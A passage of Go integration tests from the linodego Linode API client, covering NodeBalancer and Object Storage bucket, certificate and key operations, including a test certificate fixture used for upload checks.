"github.com/linode/linodego" ) func TestNodeBalancerStats_Get(t *testing.T) { client, nodebalancer, teardown, err := setupNodeBalancer(t, "fixtures/TestNodeBalancerStats_Get") defer teardown() if err != nil { t.Error(err) } ticker := time.NewTicker(10 * time.Second) timer := time.NewTimer(120 * time.Second) defer ticker.Stop() poll: for { select { case <-ticker.C: _, err = client.GetNodeBalancerStats(context.Background(), nodebalancer.ID) if err != nil { // Possible that the call succeeded but that stats aren't available (HTTP: 4XX) if v, ok := err.(*linodego.Error); ok { if v.Code == 400 && v.Message == "Stats are unavailable at this time." { break poll } // Otherwise, let's call it fatal t.Fatal(err) } } if err == nil { // stats are now returning break poll } case <-timer.C: t.Fatal("Error getting stats, polling timed out") } } } golang-github-linode-linodego-1.47.0/test/integration/nodebalancer_types_test.go000066400000000000000000000017051474652371000301450ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/linode/linodego" "github.com/stretchr/testify/require" ) func TestNodeBalancerType_List(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestNodeBalancerType_List") defer teardown() nbTypes, err := client.ListNodeBalancerTypes(context.Background(), nil) require.NoError(t, err) require.Greater(t, len(nbTypes), 0) for _, nbType := range nbTypes { validateNodeBalancerType(t, nbType) } } func validateNodeBalancerType( t *testing.T, nbType linodego.NodeBalancerType, ) { require.NotEmpty(t, nbType.ID) require.NotEmpty(t, nbType.Label) require.Greater(t, nbType.Price.Hourly, 0.0) require.Greater(t, nbType.Price.Monthly, 0.0) require.GreaterOrEqual(t, nbType.Transfer, 0) for _, regionPrice := range nbType.RegionPrices { require.NotEmpty(t, regionPrice.ID) require.Greater(t, regionPrice.Hourly, 0.0) require.Greater(t, regionPrice.Monthly, 0.0) } } golang-github-linode-linodego-1.47.0/test/integration/nodebalancers_test.go000066400000000000000000000060461474652371000271070ustar00rootroot00000000000000package integration import ( "context" "strings" "testing" "github.com/linode/linodego" ) var ( clientConnThrottle = 20 label = "go-test-def" ) func TestNodeBalancer_Create_create_smoke(t *testing.T) { _, nodebalancer, teardown, err := setupNodeBalancer(t, "fixtures/TestNodeBalancer_Create") defer teardown() if err != nil { t.Errorf("Error creating nodebalancer: %v", err) } // when comparing fixtures to random value Label will differ, compare the known suffix if !strings.Contains(*nodebalancer.Label, label) { t.Errorf("nodebalancer returned does not match nodebalancer create request") } assertDateSet(t, nodebalancer.Created) assertDateSet(t, nodebalancer.Updated) } func TestNodeBalancer_Update(t *testing.T) { client, nodebalancer, teardown, err := setupNodeBalancer(t, "fixtures/TestNodeBalancer_Update") defer teardown() if err != nil { t.Error(err) } renamedLabel := *nodebalancer.Label + "_r" updateOpts := linodego.NodeBalancerUpdateOptions{ Label: &renamedLabel, } nodebalancer, err = client.UpdateNodeBalancer(context.Background(), nodebalancer.ID, updateOpts) if err != nil { t.Errorf("Error renaming nodebalancer, %s", err) } if !strings.Contains(*nodebalancer.Label, renamedLabel) { t.Errorf("nodebalancer returned does not match nodebalancer create request") } } func TestNodeBalancers_List_smoke(t *testing.T) { client, _, teardown, err := setupNodeBalancer(t, "fixtures/TestNodeBalancers_List") defer teardown() if err != nil { t.Error(err) } nodebalancers, err := client.ListNodeBalancers(context.Background(), nil) if err != nil { t.Errorf("Error listing nodebalancers, expected struct, got error %v", err) } if len(nodebalancers) == 0 { t.Errorf("Expected a list of nodebalancers, but got %v", nodebalancers) } } func TestNodeBalancer_Get(t *testing.T) { client, nodebalancer, teardown, err := setupNodeBalancer(t, "fixtures/TestNodeBalancer_Get") defer teardown() if err != nil { t.Error(err) } _, err = client.GetNodeBalancer(context.Background(), nodebalancer.ID) if err != nil { t.Errorf("Error getting nodebalancer %d, expected *NodeBalancer, got error %v", nodebalancer.ID, err) } } func setupNodeBalancer(t *testing.T, fixturesYaml string) (*linodego.Client, *linodego.NodeBalancer, func(), error) { t.Helper() var fixtureTeardown func() client, fixtureTeardown := createTestClient(t, fixturesYaml) createOpts := linodego.NodeBalancerCreateOptions{ Label: &label, Region: getRegionsWithCaps(t, client, []string{"NodeBalancers"})[0], ClientConnThrottle: &clientConnThrottle, FirewallID: GetFirewallID(), } nodebalancer, err := client.CreateNodeBalancer(context.Background(), createOpts) if err != nil { t.Fatalf("Error listing nodebalancers, expected struct, got error %v", err) } teardown := func() { if err := client.DeleteNodeBalancer(context.Background(), nodebalancer.ID); err != nil { t.Errorf("Expected to delete a nodebalancer, but got %v", err) } fixtureTeardown() } return client, nodebalancer, teardown, err } golang-github-linode-linodego-1.47.0/test/integration/object_storage_bucket_certs_test.go000066400000000000000000000172751474652371000320440ustar00rootroot00000000000000package integration import ( "context" "slices" "testing" "github.com/linode/linodego" ) var ( testCertifcate = `-----BEGIN CERTIFICATE----- MIIF3DCCA8QCCQC0dUFu1HvjazANBgkqhkiG9w0BAQsFADCBrzELMAkGA1UEBhMC VVMxCzAJBgNVBAgMAlBBMRUwEwYDVQQHDAxQaGlsYWRlbHBoaWExDzANBgNVBAoM Bkxpbm9kZTELMAkGA1UECwwCRFgxKDAmBgNVBAMMH2xpbm9kZS1vYmotYnVja2V0 LWNlcnQtdGVzdC54eXoxNDAyBgkqhkiG9w0BCQEWJWFkbWluQGxpbm9kZS1vYmot YnVja2V0LWNlcnQtdGVzdC54eXowHhcNMjAxMDA1MTg0MDUyWhcNMjExMDA1MTg0 MDUyWjCBrzELMAkGA1UEBhMCVVMxCzAJBgNVBAgMAlBBMRUwEwYDVQQHDAxQaGls YWRlbHBoaWExDzANBgNVBAoMBkxpbm9kZTELMAkGA1UECwwCRFgxKDAmBgNVBAMM H2xpbm9kZS1vYmotYnVja2V0LWNlcnQtdGVzdC54eXoxNDAyBgkqhkiG9w0BCQEW JWFkbWluQGxpbm9kZS1vYmotYnVja2V0LWNlcnQtdGVzdC54eXowggIiMA0GCSqG SIb3DQEBAQUAA4ICDwAwggIKAoICAQCy4LqfRYXE314e6YkpR1BbKPH8ohO4lcMt +YzMUNlOC1KUktGjX8pWk4wAXYar7Mxccmbbh68pgE8iSio8V97CdQb8O64OQmre /y33z7Yts37/6mH5mBnfeiilVHOenQmh+4400tvF1jljU8MZSg6sLM4ZEBhfcT0V 3yqxAwwzV8vk0t7uLRCMuDI5B4h4ZCsheCkA2roF4RGUG6KwGzf+dLSKzBcjy5ho h4huzp5jDYer7S86dV6/9Gwzh8CPhVaixbymHGoMbJM8lUtc/hFI+J8WVh/qLTKQ CcqvoZ96QU0LX2ib+ElvCMGl/UrznpHZUrGkLPfnnoxK/vKBNycJsENtWno9KgtN fsdmYy/blxNRW/qpi+l92f3zbjjpRqJ/oyA+hsSMn19O/v3O4wz+YS55xnVeEPIf fOq6VJ9BfVdXPPRp33sllM8EVWuS4ry3oJKI1CFTlhV7eU1RpJmbc5X8GhytiD2M gIrVlYzJTftSHw7J3v0orRD6SxI9enXI4o4pS1MMxRNb+ZQDvwx3ZujxjFXe3+qI kme3ih+Vl9W9rDeKAd95ciII9CxBqOvsso8zqDAEV25fn3tutk/7hQNMqv0APAah Lo/eY1NK9i9YVJknVSzWBkE2MUyvpfFhiw6TPYh88qH+wN3CznWaCtXiAjH3kbOk 6y2OmI8+4QIDAQABMA0GCSqGSIb3DQEBCwUAA4ICAQCP2UawP8GDWxyMOsHDPqKp PtedCxPpEPsQm8KMnt5KJ55NFqTcpARz1miHXT1aBedu9IoqxvTP4g8BQ4QFjP2s ddNu2WKqnwyzkCtnB2zOrOKlvUtRAZ4x2iyhKNqls6D7I4tw22HMbTzW2TVeuGVa oiRtawFcUsjSAcarRw6swLTln+BK54dWa9E5hiulBoHLosMWCEyUDrUnaiB+2+7C bsExYZTXRlii7YPSr46zPmte2iKa1+b0g5DXkzSazWp+R/dlGYp84uLWk71e4b/9 So1pIitPasCJHgO/ii9nIcmDXarkaGT5CEUP8WPp6mLY5W9NxgF2czdz6AMJa3P9 2jNd4J1VFl8k+LDZ4GnwHGhyL3h3lFUmmoQV/0YVoXmA59SxE2JPvc2d1V6xh2gz yg2M+xcKliSXxshhAopsSSoEp5g3II2mCvzeSxwsXa4Ob5c5TJNdXslm1pugRCbB tjFNh70wZmCq+jY8C+vGsDwkf/5UeAd+c+14s3bwsBfWqZBGokVxyf/UWHtsWlVn p3USWBwLxEWyQIioMmj4O6wROZeyePDlFDVky4hzTCrTS6EFIqkGBs5RneCHhTN0 gNHFG8Ixql6mybJAwopvWGEL+7E4pbNdbhmgVvf2YEQuMZBCM7fGdBsRNkTs6jIA /8soO6buQgQoCq3GFbodZA== -----END CERTIFICATE----- ` testPrivateKey = `-----BEGIN PRIVATE KEY----- MIIJQgIBADANBgkqhkiG9w0BAQEFAASCCSwwggkoAgEAAoICAQCy4LqfRYXE314e 6YkpR1BbKPH8ohO4lcMt+YzMUNlOC1KUktGjX8pWk4wAXYar7Mxccmbbh68pgE8i Sio8V97CdQb8O64OQmre/y33z7Yts37/6mH5mBnfeiilVHOenQmh+4400tvF1jlj U8MZSg6sLM4ZEBhfcT0V3yqxAwwzV8vk0t7uLRCMuDI5B4h4ZCsheCkA2roF4RGU G6KwGzf+dLSKzBcjy5hoh4huzp5jDYer7S86dV6/9Gwzh8CPhVaixbymHGoMbJM8 lUtc/hFI+J8WVh/qLTKQCcqvoZ96QU0LX2ib+ElvCMGl/UrznpHZUrGkLPfnnoxK /vKBNycJsENtWno9KgtNfsdmYy/blxNRW/qpi+l92f3zbjjpRqJ/oyA+hsSMn19O /v3O4wz+YS55xnVeEPIffOq6VJ9BfVdXPPRp33sllM8EVWuS4ry3oJKI1CFTlhV7 eU1RpJmbc5X8GhytiD2MgIrVlYzJTftSHw7J3v0orRD6SxI9enXI4o4pS1MMxRNb +ZQDvwx3ZujxjFXe3+qIkme3ih+Vl9W9rDeKAd95ciII9CxBqOvsso8zqDAEV25f n3tutk/7hQNMqv0APAahLo/eY1NK9i9YVJknVSzWBkE2MUyvpfFhiw6TPYh88qH+ wN3CznWaCtXiAjH3kbOk6y2OmI8+4QIDAQABAoICAElFboxhMPtEt8wXwzxqXssI iZ7/UO6yQeHqL7ddgrXKQ4hiX4b5bOtrwtQ/ezOfatKPdfyEpsZsLX4RPR28rJ2g zDyzwYdLw3UWt+Cjb69msCXp/zn7CNYWtuGKJ1YYY2K7pTOUD7wJFTbPj8IjKMF0 FPQFOMaXnvr/kAA0DGJXm0he7DxJr1bE+KWNpWQTO+uYycr0zXAtEkNF0q0qaRRM /8s+8FeURRjEM6mX7x8J4sIVBNyASVB9sXimKcVgS+2e67hrOTFfpCwTx2wPEkt+ s8O1gZst6mE/8Ythu+6bIxD+gt4opQPbZV810ubZ1Epd6jAiz2VL95Gcvv8Y9V7+ EGfqeeiHqQkIkhSNO6Aqui/QBHEIuXlDvh6/Q23ln/AeniHFktYASK2WtbtzXON5 3yL0d8S5ndCLYMch1uv1V+JQ67Y5JJYTAh+fev7uyZy7qLGnAjUoRnwRofwgig6a lKOf9aMlLJnIJSHlyzqni5wnVdO1y/RGMsE/BdJ15+F9LGYm/sy56VPsjU9rELIa 9UGLAWNiEZQDQLgApZl8rawXVlANwW/iesxgAh4eZlaFXvaGtK72KcETBfn+jt8m 2/LUbh4BL2O4F2OJ2F8+DET6JGDrNDBkcsSxYmtgtRpJjrV76MvjSli8uRAlaEd7 R3n3ztdOEX25VeFExsdFAoIBAQDhFInwMNTY+phF57o/R6FNyLHQGkNz2w4pYXkR A6C4wgBDfwk/S/Sub16w4H6sr0C7MDw7t2cpmMhe+BG4V4a5sX+AjSSdMFBS/pgI uFgeJGBG1evyvp+8SycH7oojf106UH6gERpHmW0WMDf1r8Nueriw9DOKKqL1sJtx w/Diq2/8z2m5ESxL6SrEzagHmjliaNwBpwUlh5P2EMQzNTljE1fnEKl2E6LW35o0 x4zoi3y57HtKcLNtD/GsvRYU8zjHDkDq2tUXwzxCVWmiTs3+NQVTEscJAgAahvbu JZ7hEXzmCR6sjoQIWCHc9Wusf/zt2XNiXYIKUJAQxv9sOgabAoIBAQDLc2Cxlz36 3KcOGkfpWl9cGmS0t8FCOvOVV++7eNiWv0kKVdbwqqJYExmX4jmv2E1LfQ4G1vAh GtG7YN0rEzwLWiqd/frNLgMya7lYuCpWzxCNDoHIAtBvjPhyHRFFhLayxSsxRZLT PnKo2u9NjhPpm7RD+4b9uy++61jkDXK//ezI47oJWxCOxfyzaeejV8Iu9jHwKJ1o NpebAdPnlXU3itxaXvJIZiguHtNioTs1E6Ik433AC3Tb57Xy57lGXnOORm5Ximel aJsB9dsh9rKsNScp+9VSD0ef7Cr8oZH0gOI+pmNnnXt+cOxH9Du4lvBql59QR9FY MbbigpvtJ6ozAoIBAG588ZV5sxJsOVGfhhrII9OWIEtCiTgXISWJFrAWctAfU5fO hZCPzaXPP9Fd8nD8eq8o53h8+GQ//qQ37CLsvFLtYeSN5JpQ/C0xkxo8u+zX+Hbt TizUDH+W+Kr5GtCAFhipKO+UVa0uEJGiy+WMCUhzb7RVu/MoKOSodDXtdJMgixG0 E3boijEdXYRMXB6XQ3IefVlGTs10d1qEMnvctbX/6degoz82Nmp6Sy17g50n0+tE veT12+4+tGkSTQOtvYJhadaf45kNmsgJO5iUTKRsDJgSEKhIVhqvhAm1Z/+d4Qzf DzKvpvqdoMnho6CDF3r+kpiHxG0hzQafWQUcmt8CggEARD1461hNY71rEyHhiPXV EnGP4cXYvrxDQ45xTLJmA3o5p4vPQn4ZYe1WIkmxC7hDhNR3RfgGJzR1sKH2zSHw e+ZMcR3lZ7jNPbZAPu/W07M0W/vHsCyxeRkRpET3rBetqBzWNfqeGtjRYK2+oobL Swn81uihCK4mf6U09ZlFKfyj1WX82nJ/BUSHVC5rkbA348SUT3dwBKp7A3UDfKP2 4yBidLVwErShOYcBZA2sbEsfkbv0S9wL4E7CCq2KyX2YyNn63MYBqcuCYo/yZlv2 5igV8NEVZibV4WA3svEGoboxKM5qfTCnYWvC9QeImIuYLEibGTRdlXVnYGZqoosx XQKCAQEAmEbm8o37QaSMWYu/hixusHWprPRpEcz8qMmpenCTUeE7xgKeJupSx/2u s5WSGJy7U6jlmocMOsZ3/nPWNG219uWMUWz2REKi99KOHU7dT8N0OPigNzDBJFKe uJpHU2wWkg9CJtkDlQt+4/JP3gzskwpooRvUaEbsQkM0G/A1SMVSyYPuzBui3+E7 HMuBpZsWkNKLh0hjC5i7YBZYtXGYPG2JCEE4mpiV8ClxTvmijsr8sYUOtnmIBXfG 0fcsLA4W7xYCUqr74LA1dMQd6f8T00mZycR5eh0wXJ68i5QEotBTGS8ibTilUJbx 7aJXvW2Q3oCt1sF576QNr9rLxhHl8A== -----END PRIVATE KEY----- ` ) func TestObjectStorageBucketCert_smoke(t *testing.T) { client, fixtureTeardown := createTestClient(t, "fixtures/TestObjectStorageBucketCert") endpoints, err := client.ListObjectStorageEndpoints(context.Background(), nil) selectedEndpoint := endpoints[slices.IndexFunc(endpoints, func(e linodego.ObjectStorageEndpoint) bool { return e.EndpointType == linodego.ObjectStorageEndpointE1 })] bucket, err := client.CreateObjectStorageBucket(context.Background(), linodego.ObjectStorageBucketCreateOptions{ Region: selectedEndpoint.Region, EndpointType: selectedEndpoint.EndpointType, Label: "linode-obj-bucket-cert-test.xyz", }) if err != nil { t.Fatalf("failed to create bucket: %s", err) } defer func() { if err := client.DeleteObjectStorageBucket(context.Background(), bucket.Region, bucket.Label); err != nil { if t != nil { t.Errorf("Error deleting test Bucket: %s", err) } } fixtureTeardown() }() _, err = client.UploadObjectStorageBucketCert(context.TODO(), bucket.Region, bucket.Label, linodego.ObjectStorageBucketCertUploadOptions{ Certificate: testCertifcate, PrivateKey: testPrivateKey, }) if err != nil { t.Fatalf("failed to upload bucket cert: %s", err) } err = client.DeleteObjectStorageBucketCert(context.TODO(), bucket.Region, bucket.Label) if err != nil { t.Fatalf("failed to upload bucket cert: %s", err) } _, err = client.UploadObjectStorageBucketCertV2(context.TODO(), bucket.Region, bucket.Label, linodego.ObjectStorageBucketCertUploadOptions{ Certificate: testCertifcate, PrivateKey: testPrivateKey, }) if err != nil { t.Fatalf("failed to upload bucket cert: %s", err) } defer func() { if err := client.DeleteObjectStorageBucketCert(context.TODO(), bucket.Region, bucket.Label); err != nil { t.Errorf("failed to delete bucket cert: %s", err) } }() cert, err := client.GetObjectStorageBucketCert(context.TODO(), bucket.Region, bucket.Label) if err != nil { t.Fatalf("failed to get bucket cert: %s", err) } if !cert.SSL { t.Fatalf("expected cert.SSL to be true; got false") } certv2, err := client.GetObjectStorageBucketCertV2(context.TODO(), bucket.Region, bucket.Label) if err != nil { t.Fatalf("failed to get bucket cert: %s", err) } if certv2 == nil || !*certv2.SSL { t.Fatalf("expected cert.SSL to be true; got false") } } golang-github-linode-linodego-1.47.0/test/integration/object_storage_buckets_test.go000066400000000000000000000231541474652371000310200ustar00rootroot00000000000000package integration import ( "context" "slices" "testing" "github.com/linode/linodego" . "github.com/linode/linodego" ) var objectStorageBucketTestLabel = "go-bucket-test-def" var testObjectStorageBucketCreateOpts = ObjectStorageBucketCreateOptions{ Cluster: "us-east-1", Label: objectStorageBucketTestLabel, } var testRegionalObjectStorageBucketCreateOpts = ObjectStorageBucketCreateOptions{ Region: "us-east", Label: objectStorageBucketTestLabel, } func TestObjectStorageBucket_Create_smoke(t *testing.T) { _, bucket, teardown, err := setupObjectStorageBucket(t, nil, "fixtures/TestObjectStorageBucket_Create", nil, nil, nil) defer teardown() if err != nil { t.Errorf("Error creating Object Storage Bucket, got error %v", err) } expected := testObjectStorageBucketCreateOpts // when comparing fixtures to random value Label will differ, compare the known prefix if bucket.Label != expected.Label || bucket.Cluster != expected.Cluster { t.Errorf("Object Storage Bucket did not match CreateOptions") } assertDateSet(t, bucket.Created) } func TestObjectStorageBucket_Regional(t *testing.T) { // t.Skip("skipping region test before GA") client, teardown := createTestClient(t, "fixtures/TestObjectStorageBucket_Regional") regions := getRegionsWithCaps(t, client, []string{"Object Storage"}) if len(regions) < 1 { t.Fatal("Can't get region with Object Storage capability") } region := regions[0] client, bucket, teardown, err := setupObjectStorageBucket(t, []objectStorageBucketModifier{ func(opts *ObjectStorageBucketCreateOptions) { opts.Cluster = "" opts.Region = region }, }, "fixtures/TestObjectStorageBucket_Regional", client, teardown, nil, ) defer teardown() if err != nil { t.Errorf("Error creating Object Storage Bucket, got error %v", err) } expected := testObjectStorageBucketCreateOpts // when comparing fixtures to random value Label will differ, compare the known prefix if bucket.Label != expected.Label || bucket.Region != region { t.Errorf("Object Storage Bucket did not match CreateOptions") } assertDateSet(t, bucket.Created) bucket, err = client.GetObjectStorageBucket(context.Background(), region, expected.Label) if err != nil { t.Errorf("Error getting Object Storage Bucket, %v", err) } } func TestObjectStorageBucket_GetMissing(t *testing.T) { client, bucket, teardown, err := setupObjectStorageBucket(t, nil, "fixtures/TestObjectStorageBucket_GetMissing", nil, nil, nil) defer teardown() sameLabel := bucket.Label differentCluster := "us-west-1" i, err := client.GetObjectStorageBucket(context.Background(), differentCluster, sameLabel) if err == nil { t.Errorf("should have received an error requesting a missing ObjectStorageBucket, got %v", i) } e, ok := err.(*Error) if !ok { t.Errorf("should have received an Error requesting a missing ObjectStorageBucket, got %v", e) } if e.Code != 404 { t.Errorf("should have received a 404 Code requesting a missing ObjectStorageBucket, got %v", e.Code) } } func TestObjectStorageBucket_GetFound(t *testing.T) { client, bucket, teardown, err := setupObjectStorageBucket(t, nil, "fixtures/TestObjectStorageBucket_GetFound", nil, nil, nil) defer teardown() if err != nil { t.Error(err) } i, err := client.GetObjectStorageBucket(context.Background(), bucket.Cluster, bucket.Label) if err != nil { t.Errorf("Error getting ObjectStorageBucket, expected struct, got %v and error %v", i, err) } if i.Label != bucket.Label { t.Errorf("Expected a specific ObjectStorageBucket, but got a different one %v", i) } expected := testObjectStorageBucketCreateOpts // when comparing fixtures to random value Label will differ, compare the known prefix if bucket.Label != expected.Label || bucket.Cluster != expected.Cluster { t.Errorf("Object Storage Bucket did not match CreateOptions") } } func TestObjectStorageBuckets_List_smoke(t *testing.T) { client, _, teardown, err := setupObjectStorageBucket(t, nil, "fixtures/TestObjectStorageBuckets_List", nil, nil, nil) defer teardown() i, err := client.ListObjectStorageBuckets(context.Background(), nil) if err != nil { t.Errorf("Error listing ObjectStorageBuckets, expected struct, got error %v", err) } if len(i) == 0 { t.Errorf("Expected a list of ObjectStorageBuckets, but got none %v", i) } else if i[0].Label == "" || i[0].Cluster == "" { t.Errorf("Listed Object Storage Bucket did not have attribuets %v", i) } } func TestObjectStorageBucketsInCluster_List(t *testing.T) { client, bucket, teardown, err := setupObjectStorageBucket(t, nil, "fixtures/TestObjectStorageBucketsInCluster_List", nil, nil, nil) defer teardown() i, err := client.ListObjectStorageBucketsInCluster(context.Background(), nil, bucket.Cluster) if err != nil { t.Errorf("Error listing ObjectStorageBucketsInCluster, expected struct, got error %v", err) } if len(i) == 0 { t.Errorf("Expected a list of ObjectStorageBucketsInCluster, but got none %v", i) } else if i[0].Label == "" || i[0].Cluster == "" { t.Errorf("Listed Object Storage Bucket in Cluster did not have attribuets %v", i) } } func TestObjectStorageBucket_Access_Get(t *testing.T) { corsEnabled := false createOpts := ObjectStorageBucketCreateOptions{ ACL: ACLAuthenticatedRead, CorsEnabled: &corsEnabled, } endpointType := linodego.ObjectStorageEndpointE1 client, bucket, teardown, err := setupObjectStorageBucket(t, []objectStorageBucketModifier{ func(opts *ObjectStorageBucketCreateOptions) { opts.ACL = createOpts.ACL opts.CorsEnabled = createOpts.CorsEnabled }, }, "fixtures/TestObjectStorageBucket_Access_Get", nil, nil, &endpointType, ) defer teardown() newBucket, err := client.GetObjectStorageBucketAccess(context.Background(), bucket.Region, bucket.Label) if err != nil { t.Errorf("Error getting ObjectStorageBucket access, got error %s", err) } newBucketv2, err := client.GetObjectStorageBucketAccessV2(context.Background(), bucket.Region, bucket.Label) if err != nil { t.Errorf("Error getting ObjectStorageBucket access, got error %s", err) } if newBucket.CorsEnabled != corsEnabled { t.Errorf("ObjectStorageBucket access CORS does not match update, expected %t, got %t", corsEnabled, newBucket.CorsEnabled) } if newBucketv2.CorsEnabled == nil { t.Errorf("ObjectStorageBucket access CORS does not match update, expected %t, got nil", corsEnabled) } if newBucketv2.CorsEnabled != nil && *newBucketv2.CorsEnabled != corsEnabled { t.Errorf("ObjectStorageBucket access CORS does not match update, expected %t, got %t", corsEnabled, *newBucketv2.CorsEnabled) } if newBucket.ACL != createOpts.ACL { t.Errorf("ObjectStorageBucket access ACL does not match update, expected %s, got %s", createOpts.ACL, newBucket.ACL) } if newBucketv2.ACL != createOpts.ACL { t.Errorf("ObjectStorageBucket access ACL does not match update, expected %s, got %s", createOpts.ACL, newBucketv2.ACL) } } func TestObjectStorageBucket_Access_Update(t *testing.T) { endpointType := linodego.ObjectStorageEndpointE1 client, bucket, teardown, err := setupObjectStorageBucket(t, nil, "fixtures/TestObjectStorageBucket_Access_Update", nil, nil, &endpointType, ) defer teardown() corsEnabled := false opts := ObjectStorageBucketUpdateAccessOptions{ ACL: ACLPrivate, CorsEnabled: &corsEnabled, } err = client.UpdateObjectStorageBucketAccess(context.Background(), bucket.Region, bucket.Label, opts) if err != nil { t.Errorf("Error updating ObjectStorageBucket access, got error %s", err) } newBucket, err := client.GetObjectStorageBucketAccess(context.Background(), bucket.Region, bucket.Label) if err != nil { t.Errorf("Error getting ObjectStorageBucket access, got error %s", err) } if newBucket.CorsEnabled != corsEnabled { t.Errorf("ObjectStorageBucket access CORS does not match update, expected %t, got %t", corsEnabled, newBucket.CorsEnabled) } if newBucket.ACL != opts.ACL { t.Errorf("ObjectStorageBucket access ACL does not match update, expected %s, got %s", opts.ACL, newBucket.ACL) } } type objectStorageBucketModifier func(*ObjectStorageBucketCreateOptions) func setupObjectStorageBucket( t *testing.T, bucketModifiers []objectStorageBucketModifier, fixturesYaml string, client *Client, teardown func(), endpointType *linodego.ObjectStorageEndpointType, ) (*Client, *ObjectStorageBucket, func(), error) { t.Helper() if (client == nil) != (teardown == nil) { t.Fatalf( "The client and fixtureTeardown variables must either both be nil or both " + "have a value. They cannot have one set to nil and the other set to a non-nil value.", ) } if client == nil { client, teardown = createTestClient(t, fixturesYaml) } createOpts := testRegionalObjectStorageBucketCreateOpts if endpointType != nil { endpoints, err := client.ListObjectStorageEndpoints(context.Background(), nil) if err != nil { t.Fatalf("Error listing endpoints: %s", err) } else { selectedEndpoint := endpoints[slices.IndexFunc(endpoints, func(e linodego.ObjectStorageEndpoint) bool { return e.EndpointType == linodego.ObjectStorageEndpointE1 })] createOpts.Region = selectedEndpoint.Region createOpts.EndpointType = selectedEndpoint.EndpointType } } for _, modifier := range bucketModifiers { modifier(&createOpts) } bucket, err := client.CreateObjectStorageBucket(context.Background(), createOpts) if err != nil { t.Fatalf("Error creating test Bucket: %s", err) } newTeardown := func() { if err := client.DeleteObjectStorageBucket(context.Background(), bucket.Cluster, bucket.Label); err != nil { if t != nil { t.Errorf("Error deleting test Bucket: %s", err) } } teardown() } return client, bucket, newTeardown, err } golang-github-linode-linodego-1.47.0/test/integration/object_storage_clusters_test.go000066400000000000000000000010221474652371000312120ustar00rootroot00000000000000package integration import ( "context" "testing" ) func TestObjectStorageClusters_List(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestObjectStorageClusters_List") defer teardown() objectStorageClusters, err := client.ListObjectStorageClusters(context.Background(), nil) if err != nil { t.Errorf("Error listing objectStorageClusters, expected struct - error %v", err) } if len(objectStorageClusters) == 0 { t.Errorf("Expected a list of objectStorageClusters - %v", objectStorageClusters) } } golang-github-linode-linodego-1.47.0/test/integration/object_storage_keys_test.go000066400000000000000000000207231474652371000303320ustar00rootroot00000000000000package integration import ( "context" "slices" "strings" "testing" "github.com/google/go-cmp/cmp" "github.com/linode/linodego" . "github.com/linode/linodego" ) var testBasicObjectStorageKeyCreateOpts = ObjectStorageKeyCreateOptions{ Label: label, } func TestObjectStorageKey_GetMissing(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestObjectStorageKey_GetMissing") defer teardown() notfoundID := 123 i, err := client.GetObjectStorageKey(context.Background(), notfoundID) if err == nil { t.Errorf("should have received an error requesting a missing object storage key, got %v", i) } e, ok := err.(*Error) if !ok { t.Errorf("should have received an Error requesting a missing object storage key, got %v", e) } if e.Code != 404 { t.Errorf("should have received a 404 Code requesting a missing object storage key, got %v", e.Code) } } func TestObjectStorageKey_GetFound(t *testing.T) { client, objectStorageKey, teardown, err := setupObjectStorageKey(t, testBasicObjectStorageKeyCreateOpts, "fixtures/TestObjectStorageKey_GetFound", nil, nil) defer teardown() if err != nil { t.Error(err) } i, err := client.GetObjectStorageKey(context.Background(), objectStorageKey.ID) if err != nil { t.Errorf("Error getting objectStorageKey, expected struct, got %v and error %v", i, err) } if i.ID != objectStorageKey.ID { t.Errorf("Expected objectStorageKey id %d, but got %d", i.ID, objectStorageKey.ID) } if testBasicObjectStorageKeyCreateOpts.Label != objectStorageKey.Label { t.Errorf("Expected objectStorageKey label '%s', but got '%s'", testBasicObjectStorageKeyCreateOpts.Label, objectStorageKey.Label) } if objectStorageKey.BucketAccess != nil || objectStorageKey.Limited { t.Errorf("Expected objectStorageKey to have full permissions, but got %v, %v", objectStorageKey.Limited, objectStorageKey.BucketAccess) } } func TestObjectStorageKey_Update(t *testing.T) { client, objectStorageKey, teardown, err := setupObjectStorageKey(t, testBasicObjectStorageKeyCreateOpts, "fixtures/TestObjectStorageKey_Update", nil, nil) defer teardown() if err != nil { t.Error(err) } renamedLabel := objectStorageKey.Label + "_r" updateOpts := ObjectStorageKeyUpdateOptions{ Label: renamedLabel, } objectStorageKey, err = client.UpdateObjectStorageKey(context.Background(), objectStorageKey.ID, updateOpts) if err != nil { t.Errorf("Error renaming objectStorageKey, %s", err) } if !strings.Contains(objectStorageKey.Label, renamedLabel) { t.Errorf("objectStorageKey returned does not match objectStorageKey update request, %v", objectStorageKey) } if objectStorageKey.BucketAccess != nil || objectStorageKey.Limited { t.Errorf("Expected objectStorageKey to have full permissions, but got %v, %v", objectStorageKey.Limited, objectStorageKey.BucketAccess) } } func TestObjectStorageKeys_List(t *testing.T) { client, objkey, teardown, err := setupObjectStorageKey(t, testBasicObjectStorageKeyCreateOpts, "fixtures/TestObjectStorageKey_List", nil, nil) defer teardown() if err != nil { t.Error(err) } objectStorageKeys, err := client.ListObjectStorageKeys(context.Background(), nil) if err != nil { t.Errorf("Error listing objectStorageKeys, expected struct, got error %v", err) } if len(objectStorageKeys) == 0 { t.Errorf("Expected a list of objectStorageKeys, but got %v", objectStorageKeys) } notFound := true for i := range objectStorageKeys { if objectStorageKeys[i].Label == objkey.Label { notFound = false break } } if notFound { t.Errorf("Expected to find created objectStorageKey, but '%s' was not found", objkey.Label) } } func TestObjectStorageKeys_Limited(t *testing.T) { _, bucket, teardown, err := setupObjectStorageBucket( t, nil, "fixtures/TestObjectStorageKeys_Limited_Bucket", nil, nil, nil, ) defer teardown() createOpts := testBasicObjectStorageKeyCreateOpts createOpts.BucketAccess = &[]ObjectStorageKeyBucketAccess{ { Cluster: "us-east-1", Region: "us-east", BucketName: bucket.Label, Permissions: "read_only", }, { Cluster: "us-east-1", Region: "us-east", BucketName: bucket.Label, Permissions: "read_write", }, } _, objectStorageKey, teardown, err := setupObjectStorageKey(t, createOpts, "fixtures/TestObjectStorageKeys_Limited", nil, nil) defer teardown() if err != nil { t.Error(err) } if !objectStorageKey.Limited || !cmp.Equal(objectStorageKey.BucketAccess, createOpts.BucketAccess) { t.Errorf("objectStorageKey returned (%v) does not match objectStorageKey creation request (%v)", *objectStorageKey.BucketAccess, *createOpts.BucketAccess) } } func TestObjectStorageKeys_Limited_NoAccess(t *testing.T) { t.Skip("skipping test due to unexpected API behavior with limited object storage keys") createOpts := testBasicObjectStorageKeyCreateOpts createOpts.BucketAccess = 